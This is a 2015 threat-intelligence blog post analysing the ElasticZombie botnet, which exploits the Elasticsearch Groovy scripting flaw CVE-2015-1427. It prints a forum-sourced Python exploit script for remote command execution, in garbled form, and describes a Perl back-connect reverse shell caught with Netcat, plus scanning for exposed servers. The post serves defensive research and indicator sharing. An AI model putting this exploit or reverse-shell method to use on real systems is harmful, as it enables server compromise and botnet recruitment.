This Bot Is Out for Brains: ElasticZombie Exploiting Elasticsearch Vulnerabilities

Posted: 8th December 2015
This Bot Is Out for Brains: ElasticZombie Exploiting Elasticsearch Vulnerabilities

While recently mining our Recorded Future alerts (event, entity, and keyword matches on the Web) for new attacker TTPs (techniques, tactics, and procedures) we came across an interesting and trending text fragment — ElasticZombie Botnet.

ElasticZombie Botnet Reference

Click image for larger view.

The references led us to the Romanian Security Team forums where Nytro recently posted an illuminating narrative by Markus Manzke about a “scan and exploit” campaign — ElasticZombie Botnet — that identifies vulnerable Elasticsearch instances, exploits affected Linux servers, and subsequently installs a bot that maintains persistence on the system, communicates with a command and control (C2) server, and ultimately participates in denial-of-service (DoS) attacks.

Mr. Manzke set up honeypots consisting of real Elasticsearch servers. Once Internet crawlers identified the honeypots as available and vulnerable, the attacks began — leaving behind HTTP method calls, and a useful library of ELF (executable and linking format) code.

Elasticsearch’s increasing popularity as an open source database solution (often paired with LogStash and Kibana — referred to as ELK) makes it an opportunist’s dream when a remote vulnerability is announced. In this case, the Internet miscreants appear to be much more interested in stealing an Internet connected computing resource versus exploiting data in a database.

Curious about earlier Elasticsearch attack precursors in the Web, we queried Recorded Future. The timeline below reveals chatter around Elasticsearch public vulnerabilities, specifically in Chinese forums. During the spring of 2015 there are multiple references to CVE-2015-1427 (the Groovy scripting engine allows remote access to run arbitrary commands).

Elasticsearch Vulnerabilities and Exploits Timeline

Click image for larger view.

One specific Chinese language forum post from March 2015 details scanning methodologies to locate vulnerable Elasticsearch instances, package the Java exploit code inside of a Python script, launch a Perl back-connect script, and finally acquire a remote Unix Bash shell (command line access) on victim servers.

Chinese Language Forum Post

Phase 1 is identifying vulnerable Elasticsearch instances on the Internet as seen below with ZoomEye and Shodan (port 9200 is a default Elasticsearch port).

ZoomEye View

Shodan View

Phase 2 is executing the below Python script which contains the Java exploit code (in the parameters variable) for the Groovy scripting engine in Elasticsearch.

Python Script

#! / Usr / bin / env python
import urllib
import urllib2
import json
import sys
def execute (url, command):
parameters = {"size": 1,
{"Script":. "Java.lang.Math.class.forName ("  ") getConstructor (  newInstance (java.lang.Math.class.forName. ( " "). getConstructor ( 
class) .newInstance (java.lang.Math.class.forName ( "java.lang.Runtime "). getRuntime (). exec ( "% s "). 
getInputStream ())) readLines () "% command," lang. ":" groovy "}
data = json.dumps (parameters)
request = urllib2.Request (url + "_ search? pretty", data)
request.add_header ('User-Agent', 'Mozilla / 5.0 (Windows NT 6.1) AppleWebKit / 537.36 (KHTML, like Gecko) Chrome / 37.0.2062.120 Safari / 537.36')
response = urllib2.urlopen (request)
result = json.loads ( ()) ["hits"] ["hits"] [0] ["fields"] ["iswin"] [0]
for i in result:
print i
except Exception, e:
print e
if __name__ == '__main__':
! if len (sys.argv) = 3:
print "usage% s url command"% sys.argv [0]
execute (sys.argv [1], sys.argv [2])

An attacker executes the Python script above against servers running vulnerable instances of Elasticsearch. Once the Elasticsearch exploit succeeds, the attacker fetches a Perl script from a remote server and runs it. The Perl script “phones home” to the C2 server specified by the attacker, and the attacker receives the incoming request using Netcat. The attacker now has access to a remote Bash shell which is used to download malicious ELF files used for DoS attacks.

Perl Script

In this Chinese language tutorial the author is using a 33-line script modified by Maple-x. The code appears to be a modification on Psyk’s Bash Backdoor — hxxp://hackforums[.]net/archive/index.php/thread-86488.html — published in 2009. The script requires two arguments from the user in the form of a host IP address and corresponding port. The arguments are passed as variables in line 18 with a distinct and ubiquitous connect statement: SERVER,pack “SnA4x8”,2,$port,$target.

The exact string is found in a basic Perl server/client thread from 2003 — hxxp:// — demonstrating how prolific this particular pack function statement is, in addition to the ease of code reuse for legitimate and malicious purposes.

Perl “back-connect” scripts are almost as old as the Internet, and new variations routinely appear in forums and paste sites. They are a handy attacker tool because almost all Unix web servers have a built in Perl interpreter. Further, Perl is lightweight (though often difficult to read if not properly commented) and fetching a Perl file from a remote server is convenient because the file is small and requires little bandwidth to transfer and few computing resources to process.

Perl Connect-Back Timeline

Click image for larger view.

The attacker targets a vulnerable Elasticsearch server with the Python script containing the Java exploit and subsequently fetches the Perl Connect-back script and runs it on the remote server.

Perl Script

The attacker launches Netcat to listen on port 80 for incoming connections from exploited servers.

Perl Script

In addition to providing the Linux ELF files used by various attackers, the ElasticZombie blog also listed the associated C2 servers. Recorded Future enrichment from the Web reveals many of the IP addresses were known attacker infrastructures located in China and publicly announced by security researchers like Malware Must Die beginning a year ago (December 2014).

ElasticZombie C2 IP List Timeline

Click image for larger view.

A summary of derivative IOCs (indicators of compromise) and the full list of C2 IP address enrichment summaries are located in Appendix A.

A recent Elasticsearch banner query in Shodan returned over 8,700 results most of which are located in the United States. Zoom Eye returned a little over 5,200 results also centered in the United States. An unknown percentage of those servers are running vulnerable versions of Elasticsearch, and given Mr. Manzke’s honeypot results, the attack surface is obviously large enough to attract significant interest.

Web shells are an attractive tool for attackers because almost every business uses a web server. New remote vulnerabilities in popular software/services are frequently announced, but a spike in criminal chatter about exploit code around a specific vulnerability — as observed here for CVE-2015-1427 — should escalate business’s response. Elasticsearch can be difficult to completely patch/upgrade, but the potential for victimization can be partially mitigated if all relevant servers are unreachable from the Internet.

For those looking, the early Web signals were indicative of accelerating malicious activity around the Elasticsearch CVE-2015-1427 vulnerability. The Chinese forum tutorial and Chinese attack infrastructure locus certainly paint an interesting picture regarding those launching “scan and exploit” campaigns for future DoS attacks.

Appendix A

Attack Vector (1)
Indicators and Observables (111)
AS Number (2)
Domain (30)
Email Address (1)
[email protected]
Filename (1)
Hash (10)

ElasticZombie C2 IP address results from the Recorded Future API enrichment script: